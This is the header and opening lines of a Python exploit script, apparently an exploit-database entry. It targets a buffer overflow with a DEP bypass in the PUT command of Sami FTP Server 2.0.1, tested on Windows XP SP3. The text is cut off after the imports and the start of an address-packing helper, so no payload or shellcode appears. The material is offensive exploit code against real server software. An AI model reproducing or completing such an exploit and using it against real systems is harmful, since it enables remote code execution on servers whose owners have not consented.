#!/usr/bin/python # Exploit Title: Sami FTP Server 2.0.1 PUT Command Buffer overflow (DEP Bypass) # Date: 17 Mar 2013 # Exploit Author: ne0z # Vendor Homepage: http://www.hatsecure.com # Version: Sami FTP Server 2.0.1 # Tested on: Windows XP Professional SP3 # # Description : # A buffer overflow is triggered when a long PUT command is sent to the # server and the user views the Log tab. # # Reference from : superkojiman import socket, struct, sys def little_endian(address): return struct.pack("